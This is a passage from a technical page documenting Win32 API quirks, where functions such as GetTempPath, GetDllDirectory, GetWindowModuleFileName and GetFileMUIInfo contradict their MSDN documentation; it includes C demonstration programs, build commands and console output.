    GetTempPath() returned pathname 'C:\ProgramData\%SystemRoot%\Temp\' of 33 characters
    GetTempFileName() returned error 267
    
    SET TMP=NUL:
    GetTempPath() returned pathname '\\.\NUL\' of 8 characters
    GetTempFileName() returned error 267
    
    EXIT /B
    OUCH¹: the environment variables TMP, TEMP and USERPROFILE are discarded on Windows 7 and earlier versions if their value is not less than 130 (=MAX_PATH÷2) characters!

    OUCH²: although the directory name is valid, GetTempFileName() fails with Win32 error code 267 alias ERROR_DIRECTORY, i.e. The directory name is invalid. instead of Win32 error code 3 alias ERROR_PATH_NOT_FOUND, i.e. The system cannot find the path specified.

    OUCH³: if the environment variables TMP, TEMP or USERPROFILE are set to a DOS device name (with or without a trailing colon), GetTempPath() returns the corresponding Win32 device name followed by a backslash instead of Win32 error code 267 alias ERROR_DIRECTORY!

  5. Execute the batch script quirk8.cmd created in step 3. on Windows 8 (or a later version):

    .\quirk8.cmd
    REM Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    SETLOCAL
    CHDIR /D "C:\ProgramData"
    SET T
    TEMP=C:\Users\Stefan\AppData\Local\Temp
    TMP=C:\Users\Stefan\AppData\Local\Temp
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpF791.tmp'
    
    SET TMP=
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpF7A1.tmp'
    
    SET TEMP=
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmpF7A9.tmp'
    
    SET USERPROFILE=
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters
    GetTempFileName() returned pathname 'C:\Windows\tmpF7B1.tmp'
    
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    GetTempPath() returned pathname '' of 277 characters
    GetTempFileName() returned pathname '\tmpF7C7.tmp'
    
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 146 characters
    GetTempFileName() returned error 267
    
    SET TEMP=C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of 145 characters
    GetTempFileName() returned error 267
    
    SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw
    GetTempPath() returned pathname 'C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw\' of 131 characters
    GetTempFileName() returned error 267
    
    SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv
    GetTempPath() returned pathname 'C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv\' of 130 characters
    GetTempFileName() returned error 267
    
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    GetTempPath() returned pathname '' of 276 characters
    GetTempFileName() returned pathname '\tmpF7D1.tmp'
    
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    GetTempPath() returned pathname 'C:\ProgramData\' of 15 characters
    GetTempFileName() returned pathname 'C:\ProgramData\tmpF7D9.tmp'
    
    SET TMP=..
    GetTempPath() returned pathname 'C:\' of 3 characters
    GetTempFileName() returned pathname 'C:\tmpF7DF.tmp'
    
    SET TMP=%USERPROFILE%\AppData\Local\Temp
    GetTempPath() returned pathname 'C:\ProgramData\%USERPROFILE%\AppData\Local\Temp\' of 48 characters
    GetTempFileName() returned error 267
    
    SET TMP=%SystemRoot%\Temp
    GetTempPath() returned pathname 'C:\ProgramData\%SystemRoot%\Temp\' of 33 characters
    GetTempFileName() returned error 267
    
    SET TMP=NUL:
    GetTempPath() returned pathname '\\.\NUL\' of 8 characters
    GetTempFileName() returned error 267
    
    EXIT /B
    OUCH⁴: contrary to its documentation cited above, the Win32 function GetTempPath() returns values greater than 261 (=MAX_PATH+1)!

    OUCH⁵: the documentation also fails to tell that the Win32 function GetTempFileName() adds a backslash in front of the filename if the directory path does not end with a backslash!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 9

The ninth quirk is the amalgamation of the two preceding quirks, it proves the documentation for the GetTempPath() wrong in another point and shows again its misbehaviour.

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk9.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!SetEnvironmentVariable(L"TMP", L""))
    			PrintConsole(hConsole,
    			             L"SetEnvironmentVariable(\"TMP\", \"\") returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetTempPath(sizeof(szBuffer) / sizeof(*szBuffer), szBuffer);
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetTempPath() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				PrintConsole(hConsole,
    				             L"GetTempPath() returned pathname \'%ls\' of %lu characters\n",
    				             szBuffer, dwBuffer);
    
    				if (GetTempFileName(szBuffer, L"tmp", 0, szBuffer) == 0)
    					PrintConsole(hConsole,
    					             L"GetTempFileName() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hConsole,
    					             L"GetTempFileName() returned pathname \'%ls\'\n",
    					             szBuffer);
    
    					if (!DeleteFile(szBuffer))
    						PrintConsole(hConsole,
    						             L"DeleteFile() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk9.exe from the source file quirk9.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk9.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk9.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk9.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk9.exe
    quirk9.obj
  3. Execute the console application quirk9.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk9.exe
    GetTempPath() returned pathname '' of 1 characters
    GetTempFileName() returned pathname '\tmp3A97.tmp'
    Oops: the Win32 function GetTempPath() returns the number of characters including the terminating NUL character when the environment variable TMP has an empty value!
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 10

The Win32 function GetDllDirectory() is documented in the MSDN as follows:
DWORD GetDllDirectory(
  DWORD  nBufferLength,
  LPTSTR lpBuffer
);
[…]

If the function succeeds, the return value is the length of the string copied to lpBuffer, in characters, not including the terminating null character. If the return value is greater than nBufferLength, it specifies the size of the buffer required for the path.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

Note: designed and implemented properly, this function would return the value of nBufferLength for failure, supporting successful retrieval of empty strings!

In addition to the quirk bug demonstrated below, the documentation fails to tell that lpBuffer can be 0 alias NULL if nBufferLength is 0 too.

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk10.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwCount;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwBuffer = GetDllDirectory(0, szBuffer);
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetDllDirectory(0, 0x%p) returned error %lu\n",
    			             szBuffer, dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole,
    			             L"GetDllDirectory(0, 0x%p) returned buffer size %lu\n",
    			             szBuffer, dwBuffer);
    
    			SetLastError('FAIL');
    
    			dwCount = GetDllDirectory(dwBuffer, szBuffer);
    
    			if (dwCount == 0)
    				PrintConsole(hConsole,
    				             L"GetDllDirectory(%lu, 0x%p) returned error %lu\n",
    				             dwBuffer, szBuffer, dwError = GetLastError());
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk10.exe from the source file quirk10.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk10.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk10.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk10.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk10.exe
    quirk10.obj
  3. Execute the console application quirk10.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk10.exe
    SET /A 0x4641494C
    GetDllDirectory(0, 0x003EF948) returned buffer size 1
    GetDllDirectory(1, 0x003EF948) returned error 1178683724
    1178683724
    OUCH: when no application-specific DLL search path is set, the Win32 function GetDllDirectory() returns 0, but fails to (re)set the Win32 error code 0 alias ERROR_SUCCESS to indicate no error!
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 11

The Win32 functions GetOpenClipboardWindow(), GetWindow() and GetWindowModuleFileName() are documented in the MSDN as follows:
HWND GetOpenClipboardWindow();
[…]

If the function succeeds, the return value is the handle to the window that has the clipboard open. If no window has the clipboard open, the return value is NULL. To get extended error information, call GetLastError.

HWND GetWindow(
  HWND hWnd,
  UINT uCmd
);
[…]
Value Meaning
GW_ENABLEDPOPUP
6
The retrieved handle identifies the enabled popup window owned by the specified window (the search uses the first such window found using GW_HWNDNEXT); otherwise, if there are no enabled popup windows, the retrieved handle is that of the specified window.
[…]

If the function succeeds, the return value is a window handle. If no window exists with the specified relationship to the specified window, the return value is NULL. To get extended error information, call GetLastError.

UINT GetWindowModuleFileName(
  HWND   hwnd,
  LPTSTR pszFileName,
  UINT   cchFileNameMax
);
[…]

The return value is the total number of characters copied into the buffer.

Note: the last documentation fails to specify error conditions and restrictions!

Demonstration

Perform the following 3 simple steps to show the inconsistent (mis)behaviour.
  1. Create the text file quirk11.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwError = ERROR_SUCCESS;
    	HWND	hWindow = HWND_DESKTOP;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		hWindow = GetWindow(hWindow, GW_ENABLEDPOPUP);
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetActiveWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetActiveWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetConsoleWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetConsoleWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		SetLastError('FAIL');
    
    		hWindow = GetDesktopWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetDesktopWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetForegroundWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetForegroundWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		SetLastError('FAIL');
    
    		hWindow = GetOpenClipboardWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetOpenClipboardWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetShellWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetShellWindow() returned NULL\n");
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		hWindow = GetTopWindow(HWND_DESKTOP);
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetTopWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		SetLastError('FAIL');
    
    		hWindow = GetWindow(hWindow, GW_ENABLEDPOPUP);
    
    		if (hWindow == NULL)
    			PrintConsole(hConsole,
    			             L"GetWindow() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    				             hWindow, dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    				             hWindow, szBuffer, dwBuffer);
    		}
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_BOTTOM, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOP, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOPMOST, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		dwBuffer = GetWindowModuleFileName(hWindow = HWND_NOTOPMOST, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
    			             hWindow, dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
    			             hWindow, szBuffer, dwBuffer);
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk11.exe from the source file quirk11.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk11.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk11.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk11.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk11.exe
    quirk11.obj
  3. Execute the console application quirk11.exe built in step 2. to demonstrate the inconsistent (mis)behaviour:

    .\quirk11.exe
    IF ERRORLEVEL 1 NET.EXE HELPMSG %ERRORLEVEL%
    GetWindow() returned error 1400
    GetActiveWindow() returned NULL
    GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk11.exe' of 35 characters
    GetWindowModuleFileName(0x00010010, …) returned error 1178683724
    GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk11.exe' of 35 characters
    GetOpenClipboardWindow() returned error 1178683724
    GetWindowModuleFileName(0x00020104, …) returned error 1178683724
    GetWindowModuleFileName(0x035D0EA0, …) returned pathname 'C:\Users\Stefan\Desktop\quirk11.exe' of 35 characters
    GetWindow() returned error 1178683724
    GetWindowModuleFileName(0x00000001, …) returned error 1400
    GetWindowModuleFileName(0x00000000, …) returned error 1400
    GetWindowModuleFileName(0xFFFFFFFF, …) returned error 1400
    GetWindowModuleFileName(0xFFFFFFFE, …) returned error 1400
    
    Invalid window handle.
    OUCH¹: the Win32 function GetWindow() does not support the pseudo handle HWND_DESKTOP alias NULL, but returns NULL with Win32 error code 1400 alias ERROR_INVALID_WINDOW_HANDLE set!

    OUCH²: it does not return the handle of the specified window if this does not own an enabled popup window, but NULL and fails to set the Win32 error code!

    OUCH³: it returns NULL but fails to set the Win32 error code if no window with the specified relationship exists!

    Note: the Win32 function GetWindowModuleFileName() returns 0 and does not modify the buffer in case of failure!

    OUCH⁴: it returns the pathname of the calling console application although this did not create the window!

    OUCH⁵: it returns 0 but fails to set the Win32 error code if the window was created in another process, except for the console window!

    OUCH⁶: it does not support the pseudo handles HWND_BOTTOM, HWND_TOP alias HWND_DESKTOP, HWND_TOPMOST and HWND_NOTOPMOST, but returns 0 with Win32 error code 1400 alias ERROR_INVALID_WINDOW_HANDLE set!

    OUCH⁷: the Win32 function GetOpenClipboardWindow() returns NULL but fails to set the Win32 error if the clipboard is not opened by a window!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 12

The Win32 function GetFileMUIInfo() is documented in the MSDN as follows:
BOOL GetFileMUIInfo(
  DWORD        dwFlags,
  PCWSTR       pcwszFilePath,
  PFILEMUIINFO pFileMUIInfo,
  DWORD        *pcbFileMUIInfo
);
[…]

pFileMUIInfo
[…]
Alternatively, the application can set this parameter to NULL if pcbFileMUIInfo is set to 0. In this case, the function retrieves the required size for the information buffer in pcbFileMUIInfo.
[…]

pcbFileMUIInfo
[…]
Alternatively, the application can set this parameter to 0 if it sets NULL in pFileMUIInfo. In this case, the function retrieves the required file information buffer size in pcbFileMUIInfo. To allocate the correct amount of memory, this value should be added to the size of the FILEMUIINFO structure itself.

The description of its behaviour is but wrong and misleading!

The initial call of GetFileMUIInfo() for any module, with address and size of the buffer given as NULL and 0, fails (expected and intended) with Win32 error code 122 alias ERROR_INSUFFICIENT_BUFFER, but always returns 84 as (additional) buffer size; subsequent calls then return the full buffer size.
The returned (additional or full) buffer size is but not always sufficient; subsequent calls can fail again with Win32 error 122 alias ERROR_INSUFFICIENT_BUFFER, so additional calls with the buffer size returned from the previous call are then necessary until the call finally succeeds!

Note: implemented properly, the first call would return the correct (full) buffer size and grant a successful second call, as documented (for example) in the MSDN article Retrieving Data of Unknown Length!

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk12.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2009-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
